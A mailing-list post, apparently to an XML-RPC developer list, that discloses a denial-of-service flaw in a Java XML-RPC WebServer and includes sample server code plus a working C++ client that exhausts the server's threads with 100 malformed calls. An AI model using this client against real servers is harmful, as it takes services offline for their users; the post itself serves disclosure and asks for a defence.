Hello!
I�d like to submit to the attention of this community (well, if a mailing list can be 
considered a community�) the problem of security in XMLRPC.
I�m not even talking about cryptography and so on, but just about availability of the 
service.
I think I�ve found a bug that makes XMLRPC WebServer really too weak against a very 
simple attack, and I�m gonna show you a practical example.
If an hacker just is able to contact your server and make 100 calls to a service, 
passing an appropriate parameter, then he is able to crash your WebServer and make 
your service unavailable.
And moreover you won�t realize that the service is down if you don�t test it, since 
the process will be still running and listening on its port.
The attack I�ll show you exploites the limited number of threads of the XMLRPC 
WebServer and the fact that the WebServer is not able to terminate a thread if a fatal 
error is encountered while parsing the parameters.

Follow me in a practical example.
Suppose you have a WebServer that expose a method requiring a String parameter.
Here is an example of the server:
/*
 * MyXmlRpcServer.java
*/

package server;

import java.io.*;
import java.util.*;
import org.apache.xmlrpc.*;

public class MyXmlRpcServer {    
    /** Creates a new instance of MyXmlRpcServer */
    public MyXmlRpcServer() {
        try{
            XmlRpc.setDriver("com.jclark.xml.sax.Driver");
            WebServer server = new WebServer(3791);
            server.addHandler("handler",new ServiceHandler());
            server.start();
        }
        catch (ClassNotFoundException e) {
            System.out.println("Impossibile localizzare il driver SAX");
            System.exit(1);
        }
    }
    
    public static void main(String[] args) {        
        MyXmlRpcServer server=new MyXmlRpcServer();
    }
}  

Here is an example of the handler:
/*
 * ServiceHandler.java
*/

package server;
import java.io.*;
public class ServiceHandler {
    public String testService(String param){
        System.out.println("Ricevuto: "+param);
        return "OK!";
    }
}

Here is a simple java client:
/*
 * MyXmlRpcClient.java
*/

package client;

import java.io.*;
import java.util.*;
import org.apache.xmlrpc.*;
import java.net.MalformedURLException;

public class MyXmlRpcClient {
    XmlRpcClient client;

    /** Creates a new instance of XmlRpcClient */
    public MyXmlRpcClient() {
        try{
            this.client = new XmlRpcClient("http://<your_server_ip>:3791");
        }       
        catch (MalformedURLException e)
        {
            System.out.println("URL non corretto per il formato XML-RPC: " + 
e.getMessage());
            System.exit(1);
        }
        catch (IOException e)
        {
            System.out.println("Eccezione IO: " + e.getMessage());
            System.exit(1);
        }
    }

    public String invokeService(String method, String param){
        String str=null;
        try{
            Vector params = new Vector();
            params.addElement(param);
            str=(String)client.execute(method,params);
        }       
        catch (XmlRpcException e)
        {
            System.out.println("Eccezione XML-RPC: " + e.getMessage());
            str="Errore";
        }
        catch (IOException e)
        {
            System.out.println("Eccezione IO: " + e.getMessage());
            str="Errore";
        }
        return str;
    }

    public static void main(String[] args) {
        MyXmlRpcClient myClient=new MyXmlRpcClient();
        String res=myClient.invokeService("handler.testService");
        System.out.println("result="+res);
    }
    
}

It is possible to hack our WebServer just executing the following simple C++ client.
#include "stdafx.h"
#include "xmlrpc_win32_config.h"
#include <xmlrpc.h>
#include <xmlrpc_client.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
        xmlrpc_env env;
        xmlrpc_value *result;
        xmlrpc_client_init(XMLRPC_CLIENT_NO_FLAGS, "prova", VERSION);
        xmlrpc_env_init(&env);
        char *ret;
        char *param;    
        param = (char *)calloc(10, sizeof(char));
        sprintf(param,"prova");
        param[5]='\b';
        result=NULL;
        for(int i=0;i<100; i++){
                result = xmlrpc_client_call(&env,"http://<your_server_ip>:3791", 
"handler.testService", "(s)",param);
                if (env.fault_occurred) 
                {
                        printf("%s (%d)\n", env.fault_string, env.fault_code);
                        xmlrpc_env_init(&env);
                }
                else{
                        ret = (char *)calloc(10, sizeof(char));
                        xmlrpc_parse_value(&env,result,"s",&ret);
                        printf("%i: Res= %s\n",i,ret);
                        free(ret);
                }
        }
        if (result!=NULL) {
                xmlrpc_DECREF(result);
                xmlrpc_env_clean(&env);
                xmlrpc_client_cleanup();
                scanf(ret);
        }
        return 0;
}

This client just calls our testService 100 times, passing a string terminated with a 
non-printable character.
On the server side, each call is handled by a thread. The non-printable character will 
generate a fatal error in the parsing of the xmlrpc message and the server will not 
close the thread.
So, with 100 calls the maximum number of thread is reached, and the server will not be 
able to accept any other request! (Just try to run the java client and you will see�)

I find this scenario quite worrying, don�t you? The worst thing is that, as far as I 
know, I can�t defend myself on the server side (at least if we don�t think to modify 
the xmlrpc source code�).
Has anybody already faced this problem? Do you know a way to avoid it?? Any idea?

   Best regards,
     Filippo



-----------------------------------------------------------------
Questo messaggio � stato inviato utilizzando http://it.my.gsmbox.com 

Reply via email to